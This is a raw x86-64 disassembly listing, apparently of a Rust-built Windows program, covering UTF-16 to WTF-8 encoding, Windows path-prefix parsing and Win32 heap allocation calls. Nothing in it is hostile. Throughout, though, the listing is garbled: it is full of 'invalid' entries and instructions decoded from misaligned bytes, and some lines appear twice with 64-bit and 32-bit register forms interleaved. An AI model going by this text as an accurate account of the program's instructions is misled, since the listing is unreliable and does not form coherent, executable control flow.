add byte [rax], al
enter 0xffffffffffff820f, 0x64
add al, byte [rax]
invalid
add byte [rax], al
add byte [rax - 0x77], cl
mov ebp, 0xf0
lock add byte [rax], al
invalid
mov qword [rbp + 0xf0], rdi
lock add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x63], cl
sbb byte [rcx], al
add byte [rax], al
mov qword [rbp + 0x118], r11
cmp r14, r11
ja 0x14007de7c
add al, byte [rax]
invalid
fimul word [rdi]
xchg dword [0x18807dc4a], esi
add al, byte [rax]
invalid
invalid
xor eax, 0x48000002
add al, byte [rax]
add byte [rax - 0x75], cl
invalid
mov rdi, qword [rsi + 0x18]
mov edi, dword [rsi + 0x18]
jle case.0x140076467.403
sbb byte [rax - 0x77], cl
fcos
invalid
mov rcx, rbx
call rdi
xlatb
test al, al
jne 0x14007de16
mov esi, 0x41000001
mov eax, 3
mov r8d, 3
add eax, dword [rax]
add byte [rax], al
mov rcx, rbx
mov ecx, ebx
mov rdx, r15
cli
call rdi
xlatb
test al, al
jne 0x14007de16
ror byte [rdi], 0x85
test al, 1
add byte [rax], al
add r14, 3
mov rcx, r14
mov ecx, esi
add ecx, dword [rcx + rcx*4 - 0xf]
mov ecx, esi
mov r11, qword [rbp + 0x118]
add dword [rax], eax
add byte [rbp + 0x39], cl
invalid
invalid
add byte [rax], al
cmp r14, r11
mov rdi, qword [rbp + 0xf0]
mov ebp, 0xf0
fimul word [rax - 0x75]
mov ebp, 0xf0
add byte [rax], al
add byte [rdi], cl
xchg dh, cl
add byte [rax], al
jbe 0x14007db5a
invalid
invalid
lea r8, str.library_std_src_sys_commonwtf8.rs
add eax, 0x6b945
mov rcx, r14
mov ecx, esi
mov rdx, r11
mov edx, ebx
invalid
call fcn.1400a9cf0
jmp 0x14007dea3
add byte [rdx], al
add byte [rax], al
mov rax, qword [rbp - 0x41]
mov qword [rbp + 0xb0], rax
mov dword [rbp + 0xb0], eax
test dword [rax + 0xf000000], esi
movaps xmm0, xmmword [rbp - 0x60]
sub byte [rbp - 0x60], al
movaps xmm1, xmmword [rbp - 0x50]
sub byte [rbp - 0x50], cl
movups xmmword [rbp + 0xa1], xmm1
movups xmmword [rbp + 0x91], xmm0
invalid
movabs eax, dword [0x9185110f000000]
add byte [rdi], cl
adc dword [rbp + 0x91], eax
invalid
add byte [rax], al
add byte [rbx + 0x10085], cl
mov eax, dword [rbp + 0x100]
add dword [rax], eax
add byte [rcx + 0xbb85], cl
add byte [rdi], cl
mov dword [rbp + 0xbb], eax
mov ebx, 0xf000000
add byte [rax], al
movzx eax, byte [rbp + 0x104]
mov dh, 0x85
add al, 1
add byte [rax], al
mov byte [rbp + 0xbf], al
mov qword [rbp + 0x80], rbx
mov dword [rbp + 0x80], ebx
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rbp + 0x80], ebx
mov rax, qword [rbp + 0x110]
mov qword [rbp + 0x88], rax
mov dword [rbp + 0x88], eax
mov byte [rbp + 0x90], sil
mov dword [rbp + 0x80], ebx
add byte [rax], al
mov rax, qword [rbp + 0x110]
mov qword [rbp + 0x88], rax
mov dword [rbp + 0x88], eax
mov dword [rbp + 0x88], eax
mov byte [rbp + 0x90], sil
mov byte [rbp + 0xb8], dil
mov byte [rbp + 0xb9], r15b
invalid
add byte [rax], al
add byte [rax], al
mov eax, 0x44000000
mov byte [rbp + 0xb9], bh
invalid
add byte [rax], al
add byte [rax], al
mov ecx, 0x44000000
mov byte [rbp + 0xba], dh
mov ch, 0xba
add byte [rax], al
invalid
add byte [rax], al
mov byte [rbp + 0xba], r14b
mov ch, 0xba
add byte [rax], al
add byte [rax - 0x73], cl
lea eax, [rax - 0x18000000]
add byte [rax], al
invalid
xchg esi, eax
lea rcx, [rbp + 0x80]
add byte [rax], al
call fcn.14007ecb0
sldt word [rax]
test rax, rax
mov rdi, qword [rbp + 0xf0]
mov edi, dword [rbp + 0xf0]
mov edi, dword [rbp + 0xf0]
mov r11, qword [rbp + 0x118]
sbb byte [rcx], al
add byte [rax], al
je case.default.0x14007d843
std
invalid
mov r8, rdx
mov eax, edx
lea rcx, [rbp + 0x80]
mov rdx, rax
mov edx, eax
mov edx, eax
call fcn.1400433d0
mov r11, qword [rbp + 0x118]
dec dword [rbx + rcx*4 - 0x63]
popfq
sbb byte [rcx], al
add byte [rax], al
cmp qword [rbp + 0x80], 0
jne case.default.0x14007d843
std
invalid
invalid
mov ebp, 0x80
add byte [rdi], cl
test esp, edx
std
invalid
mov rax, qword [rbp + 0x88]
mov rcx, qword [rbp + 0x90]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rcx
lea rax, [0x1400e9440]
mov qword [rbp + 0x10], rax
lea rax, [fcn.140045100]
mov qword [rbp + 0x18], rax
lea rax, [rbp - 0x30]
mov qword [rbp + 0x20], rax
lea rax, [0x1400514b0]
add eax, 0xfffd371d
cld
dec dword [rax - 0x77]
sbb byte [r8 - 0x73], r9b
ror byte [r8 - 0x77], 1
and byte [r8 - 0x73], r9b
add eax, 0xfffd371d
std
dec dword [rax - 0x77]
sub byte [r8 - 0x73], r9b
add eax, 0x6b682
mov qword [rbp + 0x28], rax
lea rax, [0x1400e9420]
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], 2
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], esp
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], esp
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
adc byte [r8 - 0x77], r9b
test dword [rax + 0x48000000], edx
mov qword [rbp + 0x98], 2
lea rax, [rbp + 0x10]
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], 2
add byte [rax - 0x75], cl
and byte [r8 - 0x75], r9b
push rdi
sub byte [rbp + rcx*4 - 0x7b], cl
add byte [rax], 0
add al, ch
mov rcx, qword [rdi + 0x20]
mov rdx, qword [rdi + 0x28]
lea r8, [rbp + 0x80]
call fcn.140042180
wait
cld
invalid
jmp 0x14007de13
wait
cld
invalid
mov rcx, r11
sub r11, rcx
mov rax, qword [rbp + 0x120]
lea rdx, [rax + rcx]
test rcx, rcx
je 0x14007de08
mov rcx, rbx
mov r8, r11
call qword [rsi + 0x18]
push rsi
sbb bl, ch
invalid
push rsi
sbb bl, ch
or ecx, dword [rax - 0x77]
stc
mov r8, r11
call fcn.140041e50
mov r12d, eax
cmp byte [rbp + 0x12f], 2
je 0x14007de3f
cmp qword [rbp + 0x108], 0
cmp dword [rbp + 0x108], 0
je 0x14007de3f
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x120]
call qword [sym.imp.kernel32.dll_HeapFree]
mov eax, r12d
add rsp, 0x1b8
loopne 0x14007de8b
add esp, 0x1b8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea r8, str.library_std_srcpath.rs
mov rdx, qword [rbp + 0x110]
call fcn.1400a9cf0
jmp 0x14007dea3
lea r8, str.library_std_srcpath.rs
mov rdx, r12
call fcn.1400a9cf0
jmp 0x14007dea3
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, r14
mov bh, 6
add byte [rcx + rcx*4 - 0xf], cl
mov rdx, qword [rbp + 0x118]
add byte [rax], al
call fcn.1400a9df0
jmp 0x14007dea3
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rdx, r14
call fcn.1400aa0c0
add al, byte [rax]
add al, byte [rax]
ud2
mov rbx, r8
mov rdi, rdx
mov rsi, rcx
test r8, r8
je 0x14007df88
js 0x14007e1c4
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
test rcx, rcx
test ecx, ecx
jne case.0x140032048.1036
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14007df79
mov rcx, rax
mov qword [0x1400f91f8], rax
xor edx, edx
mov r8, rbx
mov eax, ebx
mov eax, ebx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
jne 0x14007df8d
mov ecx, 1
mov rdx, rbx
call fcn.1400a9bd0
add byte [rdi], cl
invalid
mov eax, 1
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x18], 0
mov byte [rbp - 0x10], 1
lea r13, [rdi + rbx*2]
pop rdi
xor r15d, r15d
lea rbx, [rbp - 0x28]
lea r14, [rbp - 4]
jmp 0x14007dfdc
mov rcx, qword [rbp - 0x28]
add rcx, r12
mov rdx, r14
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
add r12, r15
mov qword [rbp - 0x18], r12
xor r15d, r15d
test r15w, r15w
je 0x14007e060
mov ecx, esi
mov eax, ecx
and eax, 0xf800
cmp eax, 0xd800
jne 0x14007e082
test byte [rdx + 1], dh
add byte [rax], al
movzx eax, word [rdi]
add rdi, 2
mov r8d, eax
add r8d, 0x2000
add eax, 0x2000
add eax, 0x2000
movzx r8d, r8w
cmp r8d, 0xfc00
jb 0x14007e188
movzx eax, ax
and ecx, 0x3ff
and eax, 0x3ff
shl rcx, 0x1a
shl rax, 0x10
or rax, rcx
movabs rcx, 0x100000000
add rax, rcx
jmp 0x14007e089
cmp rdi, r13
je 0x14007e1a0
mov rcx, rax
shr rcx, 0x10
mov dword [rbp - 4], 0
cmp ecx, 0x80
jae 0x14007e0b0
mov byte [rbp - 4], cl
mov r15d, 1
add byte [rax], al
add cl, ch
invalid
add byte [rax], al
invalid
add byte [rax], al
add cl, ch
movabs dword [0xf981001f0f000000], eax
cmp ecx, 0x800
stc
add byte [rax], cl
add byte [rax], al
jae 0x14007e0e0
shr eax, 0x16
or al, 0xc0
mov byte [rbp - 4], al
and cl, 0x3f
loope 0x14007e102
loope 0x14007e102
or cl, 0x80
mov byte [rbp - 3], cl
std
std
mov r15d, 2
jmp 0x14007e150
mov rdx, rax
cmp ecx, 0xffff
stc
invalid
inc dword [rax]
add byte [rdi + 0x25], dh
stc
invalid
shr rdx, 0x1c
or dl, 0xe0
mov byte [rbp - 4], dl
shr eax, 0x16
and al, 0x3f
or al, 0x80
mov byte [rbp - 3], al
and cl, 0x3f
or cl, 0x80
mov byte [rbp - 2], cl
mov r15d, 3
jmp 0x14007e150
shr rdx, 0x22
or dl, 0xf0
mov byte [rbp - 4], dl
mov rdx, rax
shr rdx, 0x1c
invalid
sbb al, 0x80
loop 0x14007e163
or dl, 0x80
mov byte [rbp - 3], dl
shr eax, 0x16
and al, 0x3f
or al, 0x80
mov byte [rbp - 2], al
and cl, 0x3f
or cl, 0x80
mov byte [rbp - 1], cl
mov r15d, 4
nop word cs:[rax + rax]
mov rax, qword [rbp - 0x20]
mov r12, qword [rbp - 0x18]
sub rax, r12
cmp rax, r15
jae 0x14007dfc0
mov rcx, rbx
mov rdx, r12
mov r8, r15
call fcn.1400aae70
mov r12, qword [rbp - 0x18]
jmp 0x14007dfc0
mov r15w, 1
mov esi, eax
mov byte [rbp - 0x10], 0
mov rcx, rbx
call fcn.14007f150
add cl, ch
cmp al, 0xfe
invalid
invalid
add cl, ch
cmp al, 0xfe
invalid
dec dword [rdi]
adc byte [rbp - 0x28], al
movups xmm1, xmmword [rbp - 0x18]
mov rax, qword [rbp - 0x30]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call fcn.1400401e0
ud2
add byte [rax + 0x28c48348], dl
pop rbx
pop rdi
sub byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rbp
ret
int3
and al, 0x20
mov rdx, rdi
mov edx, edi
mov r8, rsi
call fcn.14007e360
movzx eax, byte [rsp + 0x20]
mov rcx, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x30]
mov ecx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
mov edx, dword [rsp + 0x40]
push rsp
and al, 0x40
invalid
movzx r8d, al
lea r9, [0x1400f057c]
movsxd r10, dword [r9 + r8*4]
add r10, r9
mov r8, rsi
mov r9, rdi
jmp r10
add rcx, 4
jmp 0x14007e2a0
invalid
lea r8, [rdx + 1]
test rdx, rdx
cmove r8, rdx
add rcx, r8
add rcx, 8
jmp 0x14007e2a0
invalid
mov ecx, 6
add byte [rax], al
add bl, ch
sbb dword [rbp + rcx*4 + 0x42], ecx
lea r8, [rdx + 1]
test rdx, rdx
cmove r8, rdx
invalid
invalid
jmp 0x14007e2a0
lea r8, [rdx + 1]
test rdx, rdx
cmove r8, rdx
add rcx, r8
add rcx, 2
add ecx, 2
rol dword [rdx], 0xeb
add eax, 0x2b9
mov ecx, 2
mov r8, rsi
jmp 0x14007e2a0
mov ecx, 2
mov r8, rsi
sub r8, rcx
jb 0x14007e34c
add byte [rax], al
invalid
add byte [rax], al
add byte [rax + 1], cl
stc
add rcx, rdi
mov r9, rcx
test r8, r8
test eax, eax
je case.0x14007d912.14
movzx ecx, byte [r9]
cmp ecx, 0x2f
je 0x14007e2c9
cmp ecx, 0x5c
je 0x14007e2c9
cmp al, 4
ja case.default.0x14007e2fa
lea rcx, [rsp + 0x20]
mov rdx, rdi
mov r8, rsi
call fcn.14007e360
movzx eax, byte [rsp + 0x20]
mov rcx, qword [rsp + 0x30]
and al, 0x30
and al, 0x30
xor byte [rax - 0x75], cl
push rsp
and al, 0x40
invalid
mov rdx, qword [rsp + 0x40]
movzx r8d, al
movzx r8d, al
ror byte [rbp + rcx*4 + 0xd], 0xa5
and al, byte [rdi]
add byte [rdi + 0x63], cl
add al, 0x81
lea r9, [0x1400f0598]
movsxd r8, dword [r9 + r8*4]
add r8, r9
jmp r8
add rcx, 4
rol dword [rbx + rbp*8], 0x38
jmp case.0x140075009.488
xor eax, eax
jmp 0x14007e345
invalid
lea r8, ds:[rdx + 1]
lea r8, [rdx + 1]
test rdx, rdx
cmove r8, rdx
add rcx, r8
add rcx, 8
jmp case.0x140075009.488
invalid
and byte [rcx + 6], bh
mov ecx, 6
jmp case.0x140075009.488
lea r8, [rdx + 1]
test rdx, rdx
cmove r8, rdx
add rcx, r8
add rcx, 2
jmp case.0x140075009.488
add dword [rax - 0x7b], ecx
ror byte [rdi + rcx + 0x44], cl
ret 0x14c
mov ecx, 2
add al, byte [rax]
add byte [rax], al
cmp rcx, rsi
ja 0x14007e34c
cmp al, 6
setne al
add rsp, 0x48
pop rdi
pop rsi
ret
invalid
lea r8, str.library_std_srcpath.rs
mov rdx, rsi
call fcn.1400a9cf0
mov ecx, 0xb0f0002
movzx esi, byte [rdx]
cmp sil, 0x2f
mov edi, 0x5c
cmove esi, edi
test dword [rcx - 0x7d], 0x307501f8
xor r10d, r10d
xor ebp, ebp
xor r11d, r11d
xor r9d, r9d
xor r14d, r14d
xor ebx, ebx
xor edi, edi
jmp 0x14007e484
movzx eax, byte [rdx + 1]
cmp al, 0x2f
cmovne edi, eax
clc
clc
cmp r8, 2
cmp eax, 2
jne case.0x14007cad1.458
xor r10d, r10d
xor ebp, ebp
xor r11d, r11d
xor r9d, r9d
xor r14d, r14d
xor ebx, ebx
jmp 0x14007e484
movzx ebx, byte [rdx + 2]
cmp bl, 0x2f
mov r14d, 0x5c
mov esi, 0x5c
mov esi, 0x5c
cmove ebx, r14d
cmp r8, 3
jne 0x14007e402
fimul word [rcx - 0x7d]
clc
add esi, dword [rbp + 0x13]
xor r10d, r10d
xor ebp, ebp
xor r11d, r11d
fild dword [rbp + 0x31]
leave
fild dword [rbp + 0x31]
leave
xor r14d, r14d
jmp 0x14007e484
movzx eax, byte [rdx + 3]
cmp al, 0x2f
add edi, dword [rdi + r13]
cmovne r14d, eax
cmovne esi, eax
cmp r8, 4
jne 0x14007e41f
xor r10d, r10d
xor ebp, ebp
xor r11d, r11d
xor r9d, r9d
jmp 0x14007e484
movzx r9d, byte [rdx + 4]
cmp r9b, 0x2f
stc
invalid
add al, 0x41
cmp cl, 0x2f
stc
invalid
stc
invalid
mov r11d, 0x5c
cmove r9d, r11d
cmp r8, 5
cmp eax, 5
jne 0x14007e442
xor r10d, r10d
xor edx, edx
xor ebp, ebp
xor r11d, r11d
jmp 0x14007e484
movzx eax, byte [rdx + 5]
cmp al, 0x2f
cmovne r11d, eax
cmovne ebx, eax
cmp r8, 6
invalid
jne 0x14007e459
xor r10d, r10d
xor edx, edx
xor ebp, ebp
in eax, dx
jmp 0x14007e484
sub ecx, dword [rdi]
mov dh, 0x6a
invalid
movzx ebp, byte [rdx + 6]
cmp bpl, 0x2f
cmp ch, 0x2f
cmp ch, 0x2f
std
invalid
mov r10d, 0x5c
pop rsp
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + 0xf], al
cmove ebp, r10d
cmp r8, 7
cmp eax, 7
invalid
cmp eax, 7
invalid
jne 0x14007e476
add eax, 0xebd23145
xor r10d, r10d
jmp 0x14007e484
invalid
movzx eax, byte [rdx + 7]
cmp al, 0x2f
invalid
invalid
cmovne r10d, eax
ror byte [rcx - 0x3f], 1
loop 0x14007e4bc
shl r10, 0x38
shl edx, 0x38
cmp r8, 8
or byte [rax + 8], bh
mov eax, 8
cmovb rax, r8
cmovb eax, eax
ror byte [rax - 0x7d], 0xf8
add dh, byte [rdx + 0x73]
jb 0x14007e50a
cmp rax, 2
jb 0x14007e50a
movzx edi, dil
shl rdi, 8
shl edi, 8
shl edi, 8
or byte [rax + 0xf], al
movzx esi, sil
mov dh, 0xf6
or rsi, rdi
inc byte [rcx + 0x5c5cfe]
add byte [rbp + 0x5c], dh
jne 0x14007e50a
cmp esi, 0x5c5c
jne 0x14007e50a
mov esi, eax
and esi, 0xe
out 0xe, al
out 0xe, al
cmp esi, 2
je 0x14007e547
add byte [rax], al
add byte [rcx + 0xf], al
mov dh, 0xf6
movzx esi, r14b
shl esi, 8
movzx edi, bl
or edi, esi
movzx esi, di
mov bh, 0xf7
cmp esi, 0x5c2e
add byte [rax], al
add byte [rdi], cl
test byte [rbx], ah
add dword [rax], eax
add byte [rcx + 0x5c3ffe], al
cmp esi, 0x5c3f
jne 0x14007e547
je 0x14007e5fa
cmp esi, 0x5c3f
invalid
jne 0x14007e547
push 0x3f88349
cmp r8, 3
jbe 0x14007e7a4
mov ebx, 0x80000002
cmp ch, byte [rdi]
add byte [rax], al
cmp byte [rdx], 0x2f
je 0x14007e504
cmp byte [rdx + 1], 0x2f
je 0x14007e504
invalid
cmp byte [rdx + 2], 0x2f
je 0x14007e504
jp 0x14007e4f9
invalid
or al, byte [rax + 0xf2f037a]
test dword [0x18d07e506], esi
add dword [rax], eax
add byte [rbp - 0x73], cl
push rax
invalid
cmp byte [rdx + 3], 0x2f
add ebp, dword [rdi]
jne 0x14007e639
add dword [rax], eax
add byte [rbp - 0x73], cl
push rax
invalid
lea r10, [r8 - 2]
jmp 0x14007e554
cmp r8, 2
jb 0x14007e5ec
cmp byte [rdx + 1], 0x3a
add dword [rdx], edi
jne 0x14007e5ec
movzx eax, byte [rdx]
mov edx, eax
and dl, 0xdf
add dl, 0xbf
cmp dl, 0x1a
jae 0x14007e5ec
cmp al, 0x61
setae dl
shl dl, 5
xor dl, al
mov byte [rcx], 5
mov byte [rcx + 1], dl
jmp 0x14007e5ef
add byte [rax], al
add byte [rax], al
mov r10, r8
add r10, 0xfffffffffffffffe
je 0x14007e5ec
lea rax, [rdx + 2]
lea eax, [rdx + 2]
add rdx, 3
add r8, 0xfffffffffffffffc
xor r9d, r9d
nop word cs:[rax + rax]
movzx r11d, byte [rdx - 1]
cmp r11d, 0x2f
je 0x14007e592
cmp r11d, 0x5c
pop rsp
je 0x14007e592
inc r9
inc rdx
inc edx
inc edx
dec r8
cmp r8, 0xfffffffffffffffe
jne 0x14007e570
jmp 0x14007e5ec
lea r11, [r9 + 1]
sub r10, r11
je 0x14007e5ec
lea r11, [rax + r9]
inc r11
neg r8
xor esi, esi
nop word [rax + rax]
add byte [rax], al
add byte [rax], al
movzx edi, byte [rdx + rsi]
cmp edi, 0x2f
invalid
je 0x14007e5cd
invalid
cmp edi, 0x5c
je 0x14007e5cd
lea rdi, [rsi + 1]
add rsi, r8
mov rsi, rdi
mov esi, edi
jne 0x14007e5b0
mov rsi, r10
test r9, r9
je 0x14007e5ec
test rsi, rsi
je 0x14007e5ec
mov byte [rcx], 4
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], r9
mov qword [rcx + 0x18], r11
mov qword [rcx + 0x20], rsi
jmp 0x14007e5ef
mov byte [rcx], 6
add rsp, 0x20
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
cmp r8, 3
jbe 0x14007e7bd
add rdx, 4
xor eax, eax
add r8, 0xfffffffffffffffc
je 0x14007e62c
movzx r9d, byte [rdx + rax]
cmp r9d, 0x2f
je 0x14007e62c
cmp r9d, 0x5c
je 0x14007e62c
inc rax
cmp r8, rax
jne 0x14007e610
mov rax, r8
mov byte [rcx], 3
mov qword [rcx + 8], rdx
mov qword [rcx + 0x10], rax
adc bl, ch
invalid
adc bl, ch
mov dh, 0x48
cmp eax, 4
cmp rax, 4
jb 0x14007e7d6
and eax, 0xc
cmp eax, 4
je 0x14007e6d0
movzx eax, bpl
shl rax, 0x30
or rax, r10
movzx r10d, r11b
shl r10, 0x28
movzx r9d, r9b
shl r9, 0x20
or r9, r10
or r9, rax
movabs rax, 0x5c434e5500000000
cmp r9, rax
jne 0x14007e6d0
cmp r8, 7
jbe case.0x140075009.511
lea rax, [rdx + 8]
mov rsi, r8
lea r9, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
add rsi, 0xfffffffffffffff8
je 0x14007e743
add rdx, 9
add r8, 0xfffffffffffffff6
xor r11d, r11d
xor r10d, r10d
cmp byte [rdx - 1], 0x5c
je 0x14007e75b
inc r10
inc rdx
dec r8
cmp r8, 0xfffffffffffffffe
jne 0x14007e6af
mov r10, rsi
jmp 0x14007e78c
lea rax, [rdx + 4]
lea r9, [r8 - 4]
cmp r9, 3
jae 0x14007e6ec
cmp r8, 4
je 0x14007e74b
cmp r8, 6
je 0x14007e6fd
jmp 0x14007e72d
movzx r10d, byte [rdx + 6]
cmp r10d, 0x2f
je 0x14007e6fd
cmp r10d, 0x5c
jne 0x14007e72d
cmp byte [rdx + 5], 0x3a
jne 0x14007e72d
movzx edx, byte [rax]
mov r10d, edx
and r10b, 0xdf
add r10b, 0xbf
cmp r10b, 0x19
ja 0x14007e72d
cmp dl, 0x61
setae al
shl al, 5
xor al, dl
rol dh, 1
add dword [rdx], eax
mov byte [rcx + 1], al
jmp 0x14007e5ef
add r8, 0xfffffffffffffffc
xor edx, edx
cmp byte [rax + rdx], 0x5c
je 0x14007e748
inc rdx
cmp r8, rdx
jne 0x14007e733
jmp 0x14007e74b
xor r10d, r10d
jmp 0x14007e789
mov r9, rdx
mov byte [rcx], 0
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], r9
jmp 0x14007e5ef
lea r11, [r10 + 1]
lea r9, [rax + r10]
inc r9
sub rsi, r11
je 0x14007e789
neg r8
xor r11d, r11d
cmp byte [rdx + r11], 0x5c
je 0x14007e78c
lea rdi, [r11 + 1]
add r11, r8
mov r11, rdi
jne 0x14007e771
mov r11, rsi
jmp 0x14007e78c
xor r11d, r11d
mov byte [rcx], 1
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], r10
mov qword [rcx + 0x18], r9
mov qword [rcx + 0x20], r11
jmp 0x14007e5ef
invalid
invalid
invalid
invalid
lea rax, str.library_std_src_syswindowspath.rs
mov ecx, 4
add byte [rax], al
add byte [rcx + rcx*4 - 0x3e], cl
mov r8, rax
call fcn.1400a9df0
ud2
lea rax, str.library_std_src_syswindowspath.rs
mov ecx, 4
mov rdx, r8
mov r8, rax
call fcn.1400a9cf0
sbb al, 0xb5
add al, byte [rax]
ud2
lea r8, str.library_std_src_syswindowspath.rs
mov ecx, 4
mov rdx, rax
call fcn.1400a9cf0
ud2
lea rax, str.library_std_src_syswindowspath.rs
mov ecx, 8
mov rdx, r8
mov r8, rax
call fcn.1400a9cf0
ud2
int3
push rdi
push rbp
push rbx
sub rsp, 0x38
movzx r13d, byte [rdx + 0x38]
cmp r13b, 3
je 0x14007eab2
add byte [rax], al
add byte [rax], al
mov rdi, rdx
movzx ebp, byte [rdx + 0x39]
cmp bpl, 3
cmp ch, 3
cmp ch, 3
add ecx, dword [rdi]
test byte [rdx + 2], dh
add byte [rax], al
je 0x14007eab2
cmp r13b, bpl
ja 0x14007eab2
mov rsi, qword [rdi]
mov r11, qword [rdi + 8]
pop rdi
invalid
movzx r8d, byte [rdi + 0x10]
xor eax, eax
cmp r8, 3
setae al
lea r14d, [rax + rax*2 + 7]
movzx r15d, byte [rdi + 0x3a]
mov rax, qword [rdi + 0x20]
invalid
invalid
and byte [r8 - 0x75], r9b
push rdi
mov rdx, qword [rdi + 0x30]
lea r9, [rdx + 1]
test rdx, rdx
cmove r9, rdx
lea rdx, [rax + r9 + 2]
mov qword [rsp + 0x30], rdx
lea rdx, [rax + r9]
lea edx, [rax + rcx]
xor byte [rbp + rcx*4 + 0x4a], cl
add dword [rax - 0x7b], ecx
ror byte [rdi + rcx + 0x44], cl
retf 0x8d4a
lea edx, [rax + rcx]
add rdx, 8
mov qword [rsp + 0x28], rdx
add rax, 4
add al, 0x4c
lea esp, [0x1400f05b4]
invalid
invalid
invalid
invalid
ret 0x4808
add al, 0x4c
lea esp, [0x1400f05b4]
invalid
invalid
invalid
invalid
invalid
mov rdx, r11
jmp 0x14007e8c6
and al, 0x30
test r9, r9
jne case.0x14007e263.28
mov byte [rdi + 0x38], 1
cmp byte [r9], r8b
mov r13b, 1
mov r10, rsi
mov edx, esi
mov rsi, r10
cmp r13b, bpl
ja 0x14007eab2
invalid
xchg esp, ebp
add dword [rax], eax
add byte [rbp - 0x7c], al
test r13b, r13b
in eax, dx
je 0x14007e940
movzx r9d, r13b
cmp r9d, 1
jne 0x14007e970
invalid
xchg edi, eax
add byte [rax], al
invalid
test dword [rdi - 0x3a000000], edx
xchg edi, eax
add byte [rax], al
add dh, al
cmp byte [r10], r8b
test r15b, r15b
jne 0x14007ea93
invalid
lodsd eax, dword [rsi]
add dword [rax], eax
invalid
test dword [rbp + 0x41000001], ebp
add byte [rax], al
mov r13b, 2
mov ch, 2
add al, byte [rcx - 0x7d]
clc
add esi, dword [rdx - 0x38]
cmp r8d, 3
jb 0x14007e8b7
cmp r8d, 5
je 0x14007e8b7
clc
add eax, 0x8341c274
clc
invalid
push rbp
add dword [rax], eax
add byte [rdi + rcx - 0x4a], al
invalid
add byte [rax], al
add byte [rcx - 0x80], al
stc
jne 0x14007ea64
invalid
cmp r9b, 0x2e
jne 0x14007ea64
invalid
add byte [rdi + rcx - 0x4a], al
add qword [rcx - 0x7d], r8
cmp r9d, 0x2f
movzx r9d, byte [rsi + 1]
cmp r9d, 0x2f
je case.0x14007d843.38
cmp r9d, 0x5c
stc
pop rsp
jne 0x14007e8b7
add byte [rax], al
nop word [rax + rax]
nop dword [rax + rax]
nop dword [rax + rax]
cmp r8b, 6
cmp al, 6
je 0x14007e8b0
invalid
movsxd r10, dword [r12 + r8*4]
add r10, r12
mov r9, rax
jmp r10
nop word cs:[rax + rax]
test rdx, rdx
je 0x14007eaae
xor r9d, r9d
cmp r8b, 3
jae 0x14007e9b0
nop word cs:[rax + rax]
cmp byte [rsi + r9], 0x5c
je 0x14007e9f5
inc r9
cmp rdx, r9
jne 0x14007e990
jmp 0x14007e9c9
movzx r10d, byte [rsi + r9]
cmp r10d, 0x2f
je 0x14007e9f5
cmp r10d, 0x5c
je 0x14007e9f5
inc r9
cmp rdx, r9
jne 0x14007e9b0
mov r11, rdx
sub r11, r10
jb 0x14007eb7b
mov r10d, 1
test r9, r9
je 0x14007e9d4
mov r11, rsi
mov ebx, r14d
cmp r9, 1
je 0x14007ea1f
test byte [rdx - 2], ah
invalid
cmp rdx, 1
jne 0x14007e8b7
test dword [rcx - 2], ecx
invalid
invalid
test dword [rcx - 2], ecx
invalid
cmp r9b, 0x2e
stc
jne 0x14007e8b7
jne 0x14007e8b7
jne 0x14007e8b7
test r11, r11
je case.0x14007e2fa.25
add byte [rax], al
add byte [rax], al
dec r11
inc rsi
inc esi
mov qword [rdi], rsi
mov qword [rdi + 8], r11
mov dword [rdi + 8], ebx
mov dword [rdi + 8], ebx
mov byte [rcx], 7
jmp 0x14007eab5
test r11, r11
fisttp dword [rdi]
test al, dh
add byte [rax], al
je 0x14007eb8c
add byte [rcx - 1], cl
retf
dec r11
inc rsi
invalid
mov qword [rdi], rsi
mov dword [rdi], esi
invalid
mov qword [rdi + 8], r11
mov byte [rcx], 6
add dword [rsi], eax
pop rdi
or dh, al
add dword [rsi], eax
jmp 0x14007eab5
mov byte [rdi + 0x38], 3
cmp byte [rbx], al
mov byte [rcx], 0xa
add rsp, 0x38
pop rbx
pop rbp
invalid
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
ret
mov byte [rdi + 0x38], 1
lea rdx, [0x1400f05cc]
adc eax, 0x71afb
adc eax, 0x71afb
sti
sbb al, byte [rdi]
add byte [rsi + 0x63], cl
movsxd r9, dword [rdx + r8*4]
or al, 0x82
invalid
add r9, rdx
jmp r9
jmp rcx
jmp rcx
mov r9, rax
jmp 0x14007eb0d
mov qword [rcx + 8], rsi
mov qword [rcx + 0x10], r9
adc bl, ch
leave
adc bl, ch
leave
mov byte [rcx], 6
jmp 0x14007eab5
invalid
